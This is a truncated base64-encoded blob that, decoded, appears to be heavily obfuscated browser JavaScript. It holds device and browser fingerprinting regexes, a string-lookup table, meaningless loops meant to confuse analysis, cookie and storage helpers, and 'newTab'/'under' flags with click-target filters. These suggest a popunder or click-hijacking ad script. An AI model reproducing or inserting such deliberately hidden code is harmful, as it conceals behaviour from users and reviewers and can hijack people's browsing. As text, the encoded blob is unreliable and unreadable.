bVwtfG0zfG01KXx0eFwtOXx1cChcLmJ8ZzF8c2kpfHV0c3R8djQwMHx2NzUwfHZlcml8dmkocmd8dGUpfHZrKDQwfDVbMC0zXXxcLXYpfHZtNDB8dm9kYXx2dWxjfHZ4KDUyfDUzfDYwfDYxfDcwfDgwfDgxfDgzfDg1fDk4KXx3M2MoXC18ICl8d2ViY3x3aGl0fHdpKGcgfG5jfG53KXx3bWxifHdvbnV8eDcwMHx5YXNcLXx5b3VyfHpldG98enRlXC0vaTtoZT13NS5aNigxNCk7ZmU9dzUuWjYoMjMpO3BlPXc1Llo2KDExMSk7X2U9dzUuWjYoMjYwKTtsZT0vbWFjaW50b3NoLztkZT13NS5mNig5MCk7dmU9dzUuZjYoMzMyKTtiZT13NS5mNigyMDApO21lPS9tb3ppbGxhLztnZT13NS5mNigxNzQpO3llPXc1LmY2KDEzNSk7a2U9dzUuZjYoMzc4KTt3ZT0vKD86XHcrKVwvKFtcZFwuXSspKD86JHxcc3xcL3xcKSkrL2k7eGU9dzUuWjYoMzQpO09lPXc1LmY2KDM3Nyk7Q2U9dzUuZjYoNDcyKTtFZT13NS5mNigxMTUpO1BlPXc1Llo2KDE5NCk7VGU9dzUuZjYoNDE0KTtBZT13NS5mNig2NSk7RmU9dzUuWjYoMTA3KTtTZT13NS5mNig0MDMpO2plPXc1LmY2KDI5Mik7TGU9dzUuWjYoNTgpO3plPXc1Llo2KDE2NCk7QmU9Lyg/Ok9QUnxPcGVyYXxPUGlPUylcLyhbXGRcLl0rKSg/OiR8XHN8XC98XCkpKy9pO0llPXc1LmY2KDIyOSk7TWU9dzUuWjYoNDY3KTtXZT13NS5mNig0NjMpO0RlPXc1Llo2KDQzNyk7VWU9dzUuZjYoMTkzKTtSZT13NS5aNigzMyk7TmU9dzUuZjYoODUpO0hlPXc1LmY2KDQwOCk7cWU9dzUuZjYoMjApO0plPXc1Llo2KDk4KTtWZT13NS5mNigxMzYpOyRlPXc1LmY2KDI3Nyk7UWU9dzUuWjYoNyk7R2U9dzUuWjYoODYpO1llPXc1LmY2KDE3NSk7S2U9dzUuWjYoMjcxKTtaZT13NS5aNigzOTkpO1hlPXc1LmY2KDEzMyk7dGk9dzUuWjYoOTUpO2VpPXc1LmY2KDE1Mik7aWk9dzUuWjYoMzEyKTtuaT13NS5aNigyOTgpO3JpPXc1Llo2KDQzMyk7b2k9dzUuZjYoMTgzKTtzaT0vYW5kcm9pZHx3ZWJvc3xpcGhvbmV8aXBhZHxpcG9kfGJsYWNrYmVycnl8aWVtb2JpbGV8b3BlcmFccyttaW5pLzthaT13NS5aNigzODIpO2NpPXc1LmY2KDEyNyk7dWk9dzUuWjYoMzM2KTtoaT13NS5aNigyOTUpO2ZpPXc1Llo2KDMwNyk7cGk9dzUuZjYoMjUxKTtfaT13NS5mNig0MTkpO2xpPXc1LmY2KDMxKTtkaT13NS5aNigyNzQpO3ZpPXc1LmY2KDQ0Nik7Ymk9dzUuWjYoMTYzKTttaT13NS5mNig5NCk7Z2k9dzUuWjYoMjIwKTt5aT13NS5aNigzNTQpO2tpPXc1Llo2KDE4Nik7d2k9dzUuZjYoNDEyKTt4aT13NS5mNig0NDcpO09pPXc1Llo2KDQwNCk7Q2k9dzUuZjYoNTIpO0VpPXc1Llo2KDY4KTtQaT13NS5mNigzNSk7VGk9dzUuZjYoNTYpO0FpPXc1LmY2KDEwMyk7Rmk9dzUuWjYoMzc5KTtTaT13NS5mNig0NTEpO2ppPXc1Llo2KDQ3NSk7TGk9dzUuWjYoMjEpO3ppPXc1LmY2KDE3MSk7Qmk9dzUuZjYoMTMxKTtJaT13NS5mNig0ODgpO01pPXc1LmY2KDE4MCk7V2k9dzUuWjYoNDQ1KTtEaT0vYnV0dG9ufGlucHV0L2k7VWk9dzUuWjYoMTM0KTtSaT13NS5mNigyMjgpO05pPXc1LmY2KDc4KTtIaT13NS5aNig1NCk7cWk9dzUuWjYoMTY3KTtKaT13NS5mNig0NjUpO1ZpPXc1Llo2KDMzNSk7JGk9dzUuZjYoMTY5KTtRaT13NS5mNigzNjgpO0dpPXc1LmY2KDI4Nyk7WWk9dzUuWjYoMzQ4KTtLaT13NS5mNigzMDEpO1ppPXc1LmY2KDQ0KTtYaT13NS5mNigyNjQpO3RuPXc1LmY2KDc3KTtlbj13NS5mNig0NjApO25uPXc1LmY2KDMzNyk7cm49dzUuWjYoMTU3KTtvbj13NS5aNigzMjUpO3NuPXc1LmY2KDIzNyk7YW49dzUuZjYoNDg2KTtjbj13NS5mNigxNTUpO3VuPXc1Llo2KDEwNCk7aG49dzUuWjYoMzU2KTtmbj13NS5aNig0OCk7cG49dzUuZjYoMjQyKTtfbj13NS5mNig0MDApO2xuPXc1Llo2KDI2NSk7ZG49dzUuZjYoMjg0KTt2bj13NS5aNigyODgpO2JuPXc1LmY2KDQzOSk7bW49dzUuWjYoMzQxKTtnbj13NS5aNigyMDMpO3luPXc1LmY2KDIxNyk7a249dzUuWjYoMzIxKTt3bj13NS5mNig0MzIpO3huPXc1LmY2KDIyKTtPbj02NDc9PSg0OTguMjUsMjAwKT8oMS42OWUrMyw0NjkpOnc1LmY2KDk2KTtDbj13NS5mNigzODMpO0VuPXc1LmY2KDM1OSk7UG49dzUuWjYoMzUwKTtUbj0vXk9wZXJhXC8uKj9QcmVzdG9cLy4qP1ZlcnNpb25cLyhbXGRcLl0rKS9pO0FuPXc1Llo2KDE5MSk7Rm49dzUuZjYoNDQ4KTtTbj13NS5mNigyNDQpO2puPXc1Llo2KDIzMSk7TG49dzUuZjYoMTIwKTt6bj13NS5mNig0NTApO0JuPXc1Llo2KDExOCk7SW49dzUuZjYoNik7TW49dzUuWjYoNzUpO1duPXc1LmY2KDEyMyk7RG49dzUuWjYoMzA0KTtVbj0vcmVzZXR8YnV0dG9ufHN1Ym1pdC9pO1JuPXc1LmY2KDQ4NCk7Tm49dzUuZjYoMTk2KTtIbj13NS5mNigyMjYpO3FuPXc1LmY2KDM1Myk7Sm49dzUuWjYoMTgpO1ZuPXc1LmY2KDE2OCk7JG49dzUuZjYoMzE0KTtRbj13NS5aNig0NzEpO0duPXc1LmY2KDQ1OSk7WW49dzUuZjYoMzE3KTtLbj13NS5mNigyNDkpO1puPS9WZXJzaW9uXC8oW1xkXC5dKylccysobW9iaWxlXC9bXlxzXStccyspP1NhZmFyaS9pO1huPXc1LmY2KDE0NSk7dHI9dzUuWjYoMjQwKTtlcj13NS5mNigxOSk7aXI9dzUuWjYoNDg5KTtucj13NS5aNigyNzYpO3JyPXc1LmY2KDQ4Mik7b3I9dzUuZjYoNDY2KTtzcj13NS5aNigyNzApO2FyPXc1Llo2KDE0Nyk7Y3I9dzUuZjYoMjQpO3VyPXc1LmY2KDgzKTtocj13NS5aNigyNzkpO2ZyPXc1Llo2KDQzKTtwcj13NS5mNig0MjApO19yPXc1LmY2KDQ2Mik7bHI9L2Nocm9tZXxjcmlvcy87ZHI9dzUuWjYoNDExKTt2cj0vIy4qJC87YnI9dzUuZjYoMTU5KTttcj13NS5aNigwKTtncj0vKGNvbXBhdGlibGV8d2Via2l0KS87eXI9L0Z4aU9TXC8oW1xkXC5dKykvaTtrcj13NS5mNig1OSk7d3I9dzUuWjYoMzgpO3hyPXc1LmY2KDE5OCk7T3I9dzUuZjYoMTApO0NyPXc1LmY2KDQ2NCk7RXI9dzUuWjYoMTE2KTtQcj13NS5mNigzNjkpO1RyPXc1LmY2KDEyMSk7QXI9L21zaWV8dHJpZGVudFwvLztGcj13NS5mNigyNTYpO1NyPXc1LmY2KDQ3MCk7anI9dzUuZjYoMjkzKTtMcj13NS5mNig4Nyk7enI9L2Nocm9tZXxvcGVyYXxlZGdlfGNyaW9zfG9waW9zfGZ4aW9zfHVjL2k7QnI9dzUuWjYoMjUyKTtJcj13NS5aNigxMDgpO01yPXc1LmY2KDkxKTtXcj13NS5mNigyKTtEcj13NS5mNigyNjgpO1VyPXc1Llo2KDI3OCk7UnI9dzUuWjYoMzI2KTtOcj13NS5mNig5KTtIcj13NS5mNigxMzIpO3FyPXc1Llo2KDMyNCk7SnI9LyhhbmRyb2lkfGJiXGQrfG1lZWdvKS4rbW9iaWxlfGF2YW50Z298YmFkYVwvfGJsYWNrYmVycnl8YmxhemVyfGNvbXBhbHxlbGFpbmV8ZmVubmVjfGhpcHRvcHxpZW1vYmlsZXxpcChob25lfG9kKXxpcGFkfGlyaXN8a2luZGxlfEFuZHJvaWR8U2lsa3xsZ2UgfG1hZW1vfG1pZHB8bW1wfG5ldGZyb250fG9wZXJhIG0ob2J8aW4paXxwYWxtKCBvcyk/fHBob25lfHAoaXhpfHJlKVwvfHBsdWNrZXJ8cG9ja2V0fHBzcHxzZXJpZXMoNHw2KTB8c3ltYmlhbnx0cmVvfHVwXC4oYnJvd3NlcnxsaW5rKXx2b2RhZm9uZXx3YXB8d2luZG93cyAoY2V8cGhvbmUpfHhkYXx4aWluby9pO1ZyPSgyNDk2LDg0OTUpIT05NzY/dzUuZjYoMjk3KTohITA7JHI9dzUuWjYoNDI2KTtRcj13NS5mNigyMjUpO0dyPXc1LmY2KDE4OCk7WXI9dzUuZjYoNDMxKTtLcj13NS5mNigyNTApO1pyPXc1Llo2KDI2MSk7WHI9dzUuZjYoMTc2KTt0bz13NS5mNigyNSk7ZW89dzUuWjYoMTk1KTtpbz13NS5mNigzMjgpO25vPXc1Llo2KDQwOSk7cm89dzUuZjYoMzQ5KTtvbz13NS5aNigzMjIpO3NvPXc1Llo2KDMxNik7YW89dzUuWjYoMzg1KTtjbz13NS5mNigxMTMpO3VvPXc1LmY2KDQ3NCk7aG89dzUuWjYoMjY3KTtmbz13NS5mNigyNjYpO3BvPXc1Llo2KDQwNyk7X289dzUuWjYoNjMpO2xvPXc1Llo2KDM2Nyk7dm89L3dlYmtpdC87Ym89dzUuWjYoNDUyKTttbz0vc2FmYXJpLztnbz13NS5aNig5Myk7eW89L29wZXJhfG9wcnxvcGlvc1wvLztrbz13NS5aNigzMzEpO3dvPXc1LmY2KDI2KTt4bz13NS5aNigxODIpO09vPXc1LmY2KDM4MCk7Q289dzUuWjYoMTEwKTtFbz13NS5mNigxMTIpO1BvPXc1LmY2KDMwNSk7VG89dzUuZjYoNzQpO0FvPXc1LmY2KDEwMik7Rm89dzUuZjYoNDc4KTtTbz0vYW5kcm9pZC87am89dzUuZjYoMzkxKTtMbz13NS5aNigzMDYpO3pvPXc1LmY2KDQwNSk7Qm89dzUuWjYoOTkpO0lvPXc1Llo2KDM5Nik7TW89dzUuWjYoNDQwKTtXbz13NS5mNig2Nyk7RG89dzUuWjYoNDAxKTtVbz13NS5aNigxNTQpO1JvPXc1LmY2KDI4OSk7Tm89dzUuWjYoMzkzKTtIbz13NS5mNig3OSk7cW89dzUuWjYoMTQwKTtKbz13NS5aNigzNzIpO1ZvPXc1Llo2KDQyMik7JG89dzUuZjYoNDQ5KTtRbz13NS5aNigzOTUpO0dvPXc1Llo2KDIwNik7WW89dzUuWjYoMjQzKTtLbz13NS5mNig2Mik7Wm89dzUuWjYoNDg1KTtYbz13NS5mNigxMzApO3RzPXc1Llo2KDE1Nik7ZXM9dzUuZjYoMjAxKTtpcz13NS5aNigzNjEpO25zPXc1LmY2KDMxNSk7cnM9dzUuWjYoMTIyKTtvcz13NS5mNig3MCk7c3M9dzUuZjYoMjU3KTthcz13NS5aNig0MjUpO2NzPXc1LmY2KDMzMCk7dXM9dzUuZjYoNzMpO2hzPXc1LmY2KDMwMyk7ZnM9dzUuWjYoMTAwKTtwcz13NS5mNigzNzQpO19zPXc1Llo2KDY2KTtscz0oODI2LjA2LDk5Ny4yKSE9PSgyNjIuNzksNzAwLjQpP3c1LmY2KDE3OSk6KG81LHc1Llo2KDM2KSk7ZHM9dzUuWjYoMjIzKTt2cz13NS5mNigxMTkpO2JzPXc1Llo2KDMwOCk7bXM9dzUuZjYoNDcpO2dzPXc1Llo2KDMxOSk7eXM9dzUuZjYoMTgxKTtrcz13NS5mNigzNDUpO3dzPXc1Llo2KDE1KTt4cz0vXigjfGphdmFzY3JpcHQpL2k7T3M9dzUuWjYoMzY2KTtDcz13NS5aNigxOTkpO0VzPXc1Llo2KDM4NCk7UHM9dzUuZjYoNDA2KTtUcz13NS5mNig0MjkpO0FzPXc1LmY2KDI0Nyk7RnM9dzUuZjYoNDQzKTtTcz13NS5mNigzMzgpO2pzPS8oPzpGaXJlZm94fENocm9tZSlcLyhbXGRcLl0rKSg/OiR8XHN8XC98XCkpKy9pO0xzPXc1Llo2KDM3MCk7enM9dzUuZjYoMzEwKTtCcz13NS5aNigzODYpO0lzPXc1Llo2KDI5NCk7TXM9dzUuWjYoMjgzKTtXcz13NS5aNigzODcpO0RzPXc1LmY2KDM5KTtVcz13NS5aNigxMDYpO1JzPXc1LmY2KDIwMik7TnM9dzUuWjYoMzExKTtIcz13NS5mNig0MzgpO3FzPXc1LmY2KDcxKTtKcz13NS5mNigxMzcpO1ZzPXc1Llo2KDI3KTskcz13NS5aNig4NCk7UXM9L18vZztHcz13NS5aNigxNTgpO1lzPXc1Llo2KDE5Mik7S3M9dzUuZjYoNDIzKTtacz13NS5mNigzMzkpO1hzPXc1Llo2KDE1MCk7dGE9dzUuWjYoMTQyKTtlYT13NS5mNig0KTtpYT13NS5aNig0MTApO25hPXc1LmY2KDIzNik7cmE9dzUuZjYoNDAyKTtvYT13NS5mNigyMTQpO3NhPXc1Llo2KDQxNyk7YWE9dzUuZjYoMTg0KTtjYT13NS5aNigxOTcpO3VhPXc1LmY2KDIzMyk7aGE9dzUuZjYoMzApO2ZhPS9saW51eC87cGE9dzUuWjYoMjgyKTtfYT0vb3BlcmEvO2xhPXc1Llo2KDM2NCk7ZGE9dzUuWjYoMTczKTt2YT13NS5aNigzMDApO2JhPXc1LmY2KDIzNSk7bWE9L2VkZ2V8b3ByXC8vO2dhPXc1LmY2KDI4NSk7eWE9dzUuZjYoNDYpO2thPXc1Llo2KDEzKTt3YT13NS5aNigyMDUpO3hhPXc1LmY2KDIyNCk7T2E9dzUuZjYoMzQ0KTtDYT13NS5aNigyMTMpO0VhPS9FZGdlXC8oW1xkXC5dKykoPzokfFxzfFwvfFwpKSsvaTtQYT13NS5mNigxMjYpO1RhPXc1Llo2KDExNCk7QWE9L14oPzouKlteXHddKSooW1x3XSspXHMqJC9pO0ZhPXc1LmY2KDM5Mik7U2E9dzUuWjYoNjkpO2phPXc1LmY2KDMpO0xhPXc1LmY2KDQ1KTt6YT13NS5mNigzMjMpO0JhPXc1LmY2KDEzOSk7SWE9dzUuWjYoMTI5KTtNYT13NS5mNig4KTtXYT13NS5mNig0Mik7RGE9dzUuZjYoMSk7VWE9dzUuWjYoODkpO1JhPXc1LmY2KDIwOSk7TmE9dzUuZjYoMjgpO0hhPXc1LmY2KDIxOSk7cWE9dzUuWjYoMjMwKTtKYT13NS5aNig4MSk7VmE9dzUuWjYoMzA5KTskYT13NS5mNigzNDcpO1FhPXc1LmY2KDM4MSk7R2E9dzUuWjYoOTIpO1lhPXc1LmY2KDEyNSk7S2E9dzUuWjYoMzIpO1phPXc1LmY2KDM5MCk7WGE9dzUuZjYoNDY4KTt0Yz13NS5mNigzNik7ZWM9dzUuZjYoMzk3KTtpYz13NS5aNig0ODApO25jPXc1LmY2KDIyMik7cmM9dzUuZjYoNDU3KTtvYz13NS5aNigzNTIpO3NjPXc1Llo2KDI5KTthYz0vaShQaG9uZXxQYWR8UG9kKS9pO2NjPXc1LmY2KDQzNCk7dWM9dzUuZjYoNDIxKTtoYz13NS5aNig0NzMpO2ZjPXc1LmY2KDE3MCk7cGM9dzUuZjYoMjYyKTtfYz13NS5aNigxNTEpO2xjPXc1LmY2KDQ5KTtkYz13NS5mNigyNTQpO3ZjPXc1LmY2KDQyOCk7YmM9dzUuZjYoMTUzKTttYz13NS5aNigyNjkpO2djPXc1Llo2KDU3KTt5Yz13NS5mNigzNTcpO2tjPS9UcmlkZW50XC8uKj9ydjooW1xkXC5dKykoPzokfFxzfFwvfFwpKSsvaTt3Yz13NS5aNig0NTMpO3hjPXc1Llo2KDQ3Nik7T2M9dzUuZjYoNDU0KTtDYz13NS5mNig0NTgpO0VjPXc1LmY2KDgwKTtQYz0vOlxkKyQvO1RjPXc1Llo2KDI3Mik7QWM9dzUuWjYoMzI3KTtGYz13NS5mNig0NzkpO1NjPXc1Llo2KDYxKTtqYz13NS5mNigyOTEpO0xjPXc1Llo2KDIzMik7emM9dzUuWjYoMTEpO0JjPXc1LmY2KDM0Nik7SWM9dzUuWjYoMTA1KTtNYz13NS5aNig0NzcpO1djPXc1Llo2KDQwKTtEYz13NS5aNig3Nik7VWM9dzUuWjYoMTYpO1JjPXc1Llo2KDIyNyk7TmM9dzUuWjYoMjA0KTtIYz13NS5mNigzNyk7IWZ1bmN0aW9uKHQseSxSdCxYZSxyaSx5aSxBaSxObixkcixVcixpbyxybyxDbyxHcyx6YyxVYyxxYyxKYyxWYywkYyl7InVzZSBzdHJpY3QiO3ZhciBRYyxHYyxZYyxLYyxaYyxYYyx0dSxldSxpdSxudSxydSxvdSxzdSxhdSxjdSx1dSxodSxmdSxwdSxfdSxsdSxkdSx2dSxidSxtdSxndSx5dSxrdSx3dSx4dSxPdSxDdSxFdSxQdSxUdSxBdSxGdTtydT10O3c1Llk0KDApO291PXc1LmM0KHVpLEdyLGJyLF9yLFllLFNpLFR0LGRuLFllLHUsbWksT3QsR3IsWWUsdXIpO3c1Llk0KDEpO3N1PXc1LnU0KGZlLFR0LEh0LG90LFR0KTt3NS5vNCgxKTthdT13NS51NChXaSxQZSxLLF9jLFBlKTt3NS5ZNCgyKTtjdT13NS5jNChydSxnaSk7dzUubzQoMik7dXU9dzUudTQocnUsWm8pO3c1Lm80KDMpO2h1PXc1LmM0KE9jLHJ1LEJpLFV0LEdyLEdyKTt3NS5vNCgyKTtmdT13NS51NChydSwkYSk7cHU9YW87X3U9eGk7bHU9THI7ZHU9bW47dnU9eVtmXVtxbytHcitDXVtYcytHcit0cytHcituY10oKTtidT17dW5kZXI6bzUsbmV3VGFiOm81fTttdT1udWxsO2d1PW81O3l1PSF7fTtrdT1mdW5jdGlvbigpe307dzUuWTQoNCk7d3U9dzUudTQoR3IsT3QsRXQpO3h1PXJpW3ZzK0dyK0FvXXx8e3NyYzpudWxsfTt3NS5vNCg0KTtPdT15W2ZdW3c1LmM0KGVvLEdyLGtyKV07Q3U9eXU7RXU9eXU7UHU9eXU7VHU9ZnVuY3Rpb24oKXt2YXIgRTksbzksdzk7dHJ5e0U5PTM2MDIzMDM0MztvOT01MDA4ODEwMDM7dzk9Mjtmb3IodmFyIGI1PTE7dzUuTDEoYjUudG9TdHJpbmcoKSxiNS50b1N0cmluZygpLmxlbmd0aCw1ODI0MykhPT1FOTtiNSsrKXtyZXR1cm4geVtwXT09PXlbcXJdfHwheVtwXVttcl1bRWldWyhYcy1HciklaF0oKSE9VGM/eVtwXTp5W3FyXTt3OSs9Mjt9aWYodzUuTDEodzkudG9TdHJpbmcoKSx3OS50b1N0cmluZygpLmxlbmd0aCw1MTUyOSkhPT1vOSl7cmV0dXJuIHlbcF0hPT15W3FyXSYmdHlwZW9mIHlbcF1bbXJdW0VpXVtYcytHcitoXSgpPT09VGM/eVtwXTp5W3FyXTt9fWNhdGNoKHQpe3ZhciBBOSxJOSxLOTtBOT0yMjIyMDY4MDc7STk9NDU1MTUwMTA4O0s5PTI7Zm9yKHZhciBROT0xO3c1LkwxKFE5LnRvU3RyaW5nKCksUTkudG9TdHJpbmcoKS5sZW5ndGgsNjg5NDApIT09QTk7UTkrKyl7cmV0dXJuIFB1PWd1LHlbcXJdO0s5Kz0yO31pZih3NS5MMShLOS50b1N0cmluZygpLEs5LnRvU3RyaW5nKCkubGVuZ3RoLDU2NzU3KSE9PUk5KXtyZXR1cm4gUHU9Z3UseVtxcl07fX19KCk7QXU9VHVbSmFdW1FhXTtGdT1mdW5jdGlvbigpe3ZhciB0O3RyeXt0PVR1W0VpXVt1bl07fWNhdGNoKHQpe31yZXR1cm4hUHUmJnR8fChidT17bmV3VGFiOmd1LHVuZGVyOnl1fSx0PXJpW2lhXSksdDt9KCk7S2M9e3Q6W10sbjpmdW5jdGlvbih0KXt2YXIgSDcsdjcsVDc7SDc9MTg2NDAwNjYwNDt2Nz03MzE4NDIzNTE7VDc9Mjtmb3IodmFyIG83PTE7dzUuZDEobzcudG9TdHJpbmcoKSxvNy50b1N0cmluZygpLmxlbmd0aCw5MTY5NikhPT1INztvNysrKXt0eXBlb2YgeVt3c10hPT1nZSYmeVt3c11bT29dJiZObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO1Q3Kz0yO31pZih3NS5kMShUNy50b1N0cmluZygpLFQ3LnRvU3RyaW5nKCkubGVuZ3RoLDI0OTc5KSE9PXY3KXt+eVt3c109PT1nZXx8eVt3c11bT29dfHxObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO319LHI6ZnVuY3Rpb24oKXtmb3IodmFyIHQ9MDt0PHRoaXMudFtwaV07dCsrKXt0aGlzLm4odGhpcy50W3RdKTt9fSxlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9W3RdW0tuXShBaVtYdF1bcW5dW0NpXShhcmd1bWVudHMsMSkpO3RoaXMudFtNcl0oZSk7R2MuaSgpJiZ0aGlzLm4oZSk7fX07ZXU9e3M6ZnVuY3Rpb24oKXtpZih0aGlzLm89PT1tdSl0cnl7eVthcytHcit0aV1bbGkrR3IrRXJdKHJ1LDEpO3lbYXMrR3IrdGldW3huK0dyK0VyXShydSk7dGhpcy5vPWd1O31jYXRjaCh0KXt2YXIgdzcscDcsYjk7dzc9LTE2MTA5ODQyMzA7cDc9OTg2NDU4NDQ2O2I5PTI7Zm9yKHZhciBtOT0xO3c1LmQxKG05LnRvU3RyaW5nKCksbTkudG9TdHJpbmcoKS5sZW5ndGgsODg3MTMpIT09dzc7bTkrKyl7dGhpcy5vPXl1O2I5Kz0yO31pZih3NS5MMShiOS50b1N0cmluZygpLGI5LnRvU3RyaW5nKCkubGVuZ3RoLDMzNDE0KSE9PXA3KXt0aGlzLm89eXU7fXRoaXMubz15dTt9cmV0dXJuIHRoaXMubzt9LHU6ZnVuY3Rpb24odCl7dGhpcy5zKCk/eVthcytHcit0aV1beG4rR3IrRXJdKHQpOnR1LnUodCk7fSxjOmZ1bmN0aW9uKHQpe3RyeXtyZXR1cm4gdGhpcy5zKCk/eVthcytHcit0aV1bYWErR3IrRXJdKHQpOnR1LmModCk7fWNhdGNoKHQpe3JldHVybiBtdTt9fSxvOm11LGE6ZnVuY3Rpb24odCxlKXt0aGlzLnMoKT95W2FzK0dyK3RpXVtsaStHcitFcl0odCxlKTp0dS5hKHQsZSk7fX07dHU9e3U6ZnVuY3Rpb24odCl7dGhpcy5hKHQsMCxuZXcgSmMoMCkpO30sYzpmdW5jdGlvbih0KXt2YXIgZTt3NS5ZNCg1KTtlPXJpW050XVtiY10obmV3IFVyKHc1LnU0KGVyLEdyLEdyLGV0LHNjLHQsR3IsR3IsdHQsdWMsR3IsR3IsSm8sR3IpLGxzKSk7cmV0dXJuIGU/VmMoZVswXVtDcl0oR3IrZXQrR3IpWzFdKTptdTt9LGE6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO3M9aXx8R3I7cyYmKHR5cGVvZiBzPT09V3Q/KG89bmV3IEpjKCkpW2xpK0dyK0hdKG9bYWErR3IrSF0oKSsxZTMqcyk6bz1zLHM9R3IrZXIrZmkrZXQrR3Irb1tYcytHcitWcitHcit4YytHcitXK0dyK2hdKCkpO3JpW050XT10KyhHcitldCtHcikrJGMoR3IrZSkrcysocj9HcitlcitkcytldCtHcityOkdyKSsoR3IrZXIrQXQrZXQrR3IpKyhufHxHcitQZStHcik7fX07WmM9e3A6ZnVuY3Rpb24odCl7dmFyIGUsaTtpPXt9O2ZvcihlPTA7ZTx0W3BpXTtlKyspe2lbdFtlXVswXV09dFtlXVsxXTt9cmV0dXJuIGk7fSxXOmZ1bmN0aW9uKHQsZSxpKXt2YXIgbjt0cnl7cmV0dXJuIG49dFthYStHcitHaV0oZSksdHlwZW9mIGkhPT1UYz95dTohIW5ldyBVcihGbitpK01zLGxzKVtqY10obik7fWNhdGNoKHQpe3JldHVybiB5dTt9fSxBOmZ1bmN0aW9uKCl7dHJ5e3JldHVybiB0eXBlb2YgeS5qUXVlcnkuZm4ub249PT1aczt9Y2F0Y2godCl7cmV0dXJuIHl1O319LEc6ZnVuY3Rpb24odCl7cmV0dXJuKHQ/bmV3IEpjKHQpOm5ldyBKYygpKVthYStHcitIXSgpO30sTTpmdW5jdGlvbih0KXt2YXIgbTAsQTAsSTAsZSxsNyxjNyxWNzttMD0tMTc4MjYxMjU4MTtBMD0tMTYzMzI0MDE2NDtJMD0yO2Zvcih2YXIgcjA9MTt3NS5MMShyMC50b1N0cmluZygpLHIwLnRvU3RyaW5nKCkubGVuZ3RoLDM0ODU4KSE9PW0wO3IwKyspe0kwKz0yO31pZih3NS5MMShJMC50b1N0cmluZygpLEkwLnRvU3RyaW5nKCkubGVuZ3RoLDg0OTA2KSE9PUEwKXt9dHJ5e2w3PS0xMjU4NTI0ODY5O2M3PTc3MTI1MDQ2ODtWNz0yO2Zvcih2YXIgeTc9MTt3NS5kMSh5Ny50b1N0cmluZygpLHk3LnRvU3RyaW5nKCkubGVuZ3RoLDEwMjkyKSE9PWw3O3k3KyspeyhlPXRbSmFdW1FhXShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7VjcrPTI7fWlmKHc1LmQxKFY3LnRvU3RyaW5nKCksVjcudG9TdHJpbmcoKS5sZW5ndGgsMjYwMTcpIT09YzcpeyhlPXRbSmFdW1FhXSgoVWEtVnQpL2NpKSlbYm9dKCk7ZVtJb10oKTt9fWNhdGNoKHQpe30oZT1BdShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7fSxUOmZ1bmN0aW9uKHQpe3QmJihUdVtFaV09dCk7fSxxOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZSxpPVt5cixUbixFYSxCZSxqcyxabixqdCxrYyx3ZV0sbj0wO248aVtwaV07bisrKWlmKGU9aVtuXVtqY10odnUpKXtyZXR1cm4gdD9VYyhlWzFdLDEwKTplWzFdW1pdKFFzLEdyK1R0K0dyKTt9cmV0dXJuIG11O30sTDpmdW5jdGlvbih0LGUpe3c1Llk0KDcpO3JldHVybiB3NS51NChZZSxlcixHcix0LGllLHlzLEdyLGUsR3IsVmUsVnQsR3IpO30sXzpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUTAsZTAsajA7UTA9LTE2NDA5MDY2NDA7ZTA9MzYxNTQ4MTI4O2owPTI7Zm9yKHZhciB0MD0xO3c1LmQxKHQwLnRvU3RyaW5nKCksdDAudG9TdHJpbmcoKS5sZW5ndGgsMzk3NjcpIT09UTA7dDArKyl7aT15O3c1Llk0KDQpO249dFtDcl0odzUudTQoR3IsVHQsR3IpKTtmb3IoZT0wO2U8bltwaV07ZSsrKXtpPWlbbltlXV07fXJldHVybiBpO2owKz0yO31pZih3NS5MMShqMC50b1N0cmluZygpLGowLnRvU3RyaW5nKCkubGVuZ3RoLDQ3NjE4KSE9PWUwKXtpPXk7dzUuWTQoNik7bj10W0NyXSh3NS51NChUdCxHcixHcikpO2ZvcihlPTQ7ZTw9bltwaV07ZS0tKXtpPWlbbltlXV07fXJldHVybiBpO319LFM6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbyxzMCxEMCxXMCxVMCx4MCx6MDtvPXkualF1ZXJ5fHxudWxsO2lmKHQmJnRbQW5dKXtyZXR1cm4gZ3U7fWlmKCFvKXtyZXR1cm4geXU7fXRyeXtzMD0tMTYxNTA0NTA7RDA9LTE5OTUwMzAzNTQ7VzA9Mjtmb3IodmFyIGMwPTE7dzUuZDEoYzAudG9TdHJpbmcoKSxjMC50b1N0cmluZygpLmxlbmd0aCw5Nzc5KSE9PXMwO2MwKyspe2lmKChlPShvKHQpW2llXShHYSkmJm8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9VzArPTI7fWlmKHc1LkwxKFcwLnRvU3RyaW5nKCksVzAudG9TdHJpbmcoKS5sZW5ndGgsMjI1MTYpIT09RDApe2lmKChlPShvKHQpW2llXShHYSl8fG8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9fX1jYXRjaCh0KXt9dHJ5e1UwPS0xMjgxMDM4MTgyO3gwPS01MjI2MTY2MzI7ejA9Mjtmb3IodmFyIGkwPTE7dzUuTDEoaTAudG9TdHJpbmcoKSxpMC50b1N0cmluZygpLmxlbmd0aCwzMjg1OSkhPT1VMDtpMCsrKXtmb3IoZT1vKHJpW1FyXSlbaWVdKEdhKVtnc10saT00O2k+ZVtwaV07aS0tKWZvcihyPW8oZVtpXVtvZV0pLG49NztuPj1yW3BpXTtuLS0paWYocltuXT09dCl7cmV0dXJuIGd1O316MCs9Mjt9aWYodzUuTDEoejAudG9TdHJpbmcoKSx6MC50b1N0cmluZygpLmxlbmd0aCw4ODE3MikhPT14MCl7Zm9yKGU9byhyaVtRcl0pW2llXShHYSlbZ3NdLGk9NDtpPmVbcGldO2ktLSlmb3Iocj1vKGVbaV1bb2VdKSxuPTc7bj49cltwaV07bi0tKWlmKHJbbl09PXQpe3JldHVybiBndTt9fWZvcihlPW8ocmlbUXJdKVtpZV0oR2EpW2dzXSxpPTA7aTxlW3BpXTtpKyspZm9yKHI9byhlW2ldW29lXSksbj0wO248cltwaV07bisrKWlmKHJbbl09PT10KXtyZXR1cm4gZ3U7fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sQzpmdW5jdGlvbi